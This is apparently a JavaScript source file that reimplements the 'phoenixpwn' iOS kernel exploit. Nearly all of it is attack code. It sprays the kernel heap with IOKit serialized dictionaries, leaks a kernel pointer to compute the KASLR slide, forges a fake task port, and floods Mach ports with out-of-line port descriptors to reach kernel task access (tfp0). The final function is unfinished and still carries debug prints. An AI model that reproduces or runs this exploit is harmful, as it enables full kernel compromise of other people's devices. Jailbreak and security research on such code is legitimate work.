/* * phoenixpwn kernel exploit * reimplemented in JS * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy */ var sanity_port = 0; var MACH_PORT_RIGHT_RECEIVE = 0x1; var MACH_MSG_TYPE_MAKE_SEND = 0x14; var MACH_PORT_LIMITS_INFO = 0x1; var MACH_PORT_LIMITS_INFO_COUNT = 0x1; var kport_size = 0x78; var kport_ip_bits4 = 0x0; var kport_ip_references4 = 0x4; var kport_ip_lock_type4 = 0x10; var kport_ip_messages_port_qlimit2 = 0x42; var kport_ip_receiver4 = 0x4c; var kport_ip_srights4 = 0x70; var KERN_SUCCESS = 0; var NULL = 0; var MACH_PORT_NULL = 0; var req_init_port_set = 0x1c; var req_head_msgh_bits = 0x0; var req_head_msgh_request_port = 0x8; var req_head_msgh_reply_port = 0xc; var req_head_msgh_id = 0x14; var req_msgh_body_msgh_descriptor_count = 0x18; var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; var req_init_port_set_address = 0x0; var req_init_port_set_count = 0x4; var MACH_RCV_MSG = 0x2; var MACH_MSG_TIMEOUT_NONE = 0; var task_self = 0; var kslide = 0; var fakeportData = 0; var kOSSerializeDictionary = 0x01000000; var kOSSerializeArray = 0x02000000; var kOSSerializeSet = 0x03000000; var kOSSerializeNumber = 0x04000000; var kOSSerializeSymbol = 0x08000000; var kOSSerializeString = 0x09000000; var kOSSerializeData = 0x0a000000; var kOSSerializeBoolean = 0x0b000000; var kOSSerializeObject = 0x0c000000; var kOSSerializeTypeMask = 0x7F000000; var kOSSerializeDataMask = 0x00FFFFFF; var kOSSerializeEndCollection = 0x80000000; var kOSSerializeMagic = 0x000000d3; var SIZEOF_BYTES_MSG = 384; var PORTS_NUM = 1024; var PORTS_NUM_PRESPRAY = 100; var MIG_MAX = 0x1000; var NDR_record = 0x36ebf00c; function spray_data(mem, size, num, portptr) { var err = malloc(4); var ret = 0; var master = malloc(4); host_get_io_master(mach_host_self(), master); var dict = malloc(MIG_MAX); var __cnt = 0; write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; for (var i = 0; i < num; i++) { write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; if (mem != 0 && size != 0) { memcpy(dict + (__cnt << 2), mem, size); } memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); __cnt += SIZEOF_BYTES_MSG / 4; } printf("%x %x\n", master, read_u32(master)); printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); printf("still alive?\n"); if (ret == KERN_SUCCESS) { ret = read_u32(err); } return ret; } function copyinPort(kport, cnt) { var err = malloc(4); var ret = 0; var self = task_self; var service = MACH_PORT_NULL; var client = malloc(4); var it = malloc(4); var o = MACH_PORT_NULL; var data = malloc(4); var master = malloc(4); fakeportData = malloc(4); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); printf("sprayed, still here\n"); service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); printf("service=%x\n", service); var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); var kpbuf = tst + 4; for (var i = 0; i < cnt; i++) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } var err = malloc(4); var xml = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"); ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); } printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); IORegistryEntryGetChildIterator(service, "IOService", it); var found = false; while ((o = IOIteratorNext(read_u32(it))) != MACH_PORT_NULL && !found) { var buf = malloc(16 * 4); var size = malloc(4); write_u32(size, 16 * 4); ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); if (ret == KERN_SUCCESS) { printf("yolo\n"); // mach_port_deallocate(self, read_u32(data)); // write_u32(data, MACH_PORT_NULL); spray_data(tst, strlen(tst) + 1, 10, fakeportData); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; printf("still alive? %x\n", 420); printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; } } } function prepare_ptr(dict, size, ptr, num) { var idx = 0; write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; write_u32(dict + (idx << 2), 0x0079656b); idx++; write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; for (var i = 0; i < num; i++) { write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; write_u32(dict + (idx << 2), ptr); idx++; write_u32(dict + (idx << 2), ptr); idx++; } write_u32(size, idx * 4); return KERN_SUCCESS; } function spray(dict, size, port) { var err = malloc(4); var ret = 0; var master = malloc(4); host_get_io_master(mach_host_self(), master); io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); if (ret == KERN_SUCCESS) { ret = read_u32(err); } return ret; } var kp = 0; function spray_ports(number_port_descs) { // printf("spray_ports %d\n", number_port_descs); if (kp == 0) { kp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); } var mp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); var ret = read_u32(mp); free(mp); return ret; } function fast_log2(n) { var i = 0; while (n >>= 1) { i++; } return i; } function fast_array_mul(arr, n) { var tmp_arr = arr; var done = 0; for (var i = 0; i < fast_log2(n) + 2; i++) { tmp_arr = tmp_arr.concat(tmp_arr); done = (1 << i); } return tmp_arr; } function send_ports(target, payload, num, number_port_descs) { var init_port_set = malloc(num * 4); for (var i = 0; i < num; i++) { write_u32(init_port_set + (i << 2), payload); } var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); var new_buf_ = new Array(); var tmp = u32_to_u8x4(init_port_set); new_buf_.push(tmp[0]); new_buf_.push(tmp[1]); new_buf_.push(tmp[2]); new_buf_.push(tmp[3]); tmp = u32_to_u8x4(num); new_buf_.push(tmp[0]); new_buf_.push(tmp[1]); new_buf_.push(tmp[2]); new_buf_.push(tmp[3]); new_buf_.push(0); new_buf_.push(0); new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); new_buf_.push(19); // printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); var new_buf = fast_array_mul(new_buf_, number_port_descs); fast_write_buf(buf + req_init_port_set, new_buf); /* for (var i = 0; i < number_port_descs; i++) { write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); }*/ write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) write_u32(buf + req_head_msgh_request_port, target); write_u32(buf + req_head_msgh_reply_port, 0); write_u32(buf + req_head_msgh_id, 1337); var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); free(buf); return ret; } function release_port_ptrs(port) { printf("alive\n"); var req = malloc(0x1c + (5 * 0xc) + 0x8); for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { write_u32(req + i, 0x0); } printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); printf("alive\n"); var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("alive\n"); // if (ret != KERN_SUCCESS) { printf("mach_recv %d %s\n", ret, mach_error_string(ret)); printf("alive\n"); // } free(req); printf("alive\n"); } function get_kernel_task() { var ret = 0; var tfp0 = 0; sanity_port = malloc(4); task_self = mach_task_self(); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); limits = malloc(4); write_u32(limits, 1000); mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); printf("starting exploit\n"); var data = malloc(16); var kport = malloc(kport_size * 2); var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK write_u32(kport + kport_ip_references4, 100); write_u32(kport + kport_ip_lock_type4, 0x11); write_u16(kport + kport_ip_messages_port_qlimit2, 777); write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy write_u32(kport + kport_ip_srights4, 99); var big_buf = malloc(MIG_MAX); var small_buf = malloc(MIG_MAX); var big_size = malloc(4); var small_size = malloc(4); var fp = malloc(PORTS_NUM * 4); var postSpray = malloc(4); usleep(10000); sched_yield(); var kptr = copyinPort(kport, 2); printf("0x%08x\n", kptr); write_u32(data, kptr); write_u32(data + 4, kptr); prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); sched_yield(); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { var dummy = malloc(4); spray(big_buf, big_size, dummy); } sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { write_u32(fp + (i << 2), spray_ports(i)); var dummy = malloc(4); spray(small_buf, small_size, dummy); } sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { printf("test\n"); printf("test1\n"); printf("test2\n"); printf("test3\n"); printf("test4\n"); printf("test5\n"); printf("test6\n"); printf("test7\n"); printf("test8\n"); printf("test9\n"); printf("test10\n"); release_port_ptrs(read_u32(fp + (i << 2))); printf("test11\n"); } printf("get lucky\n"); return tfp0; }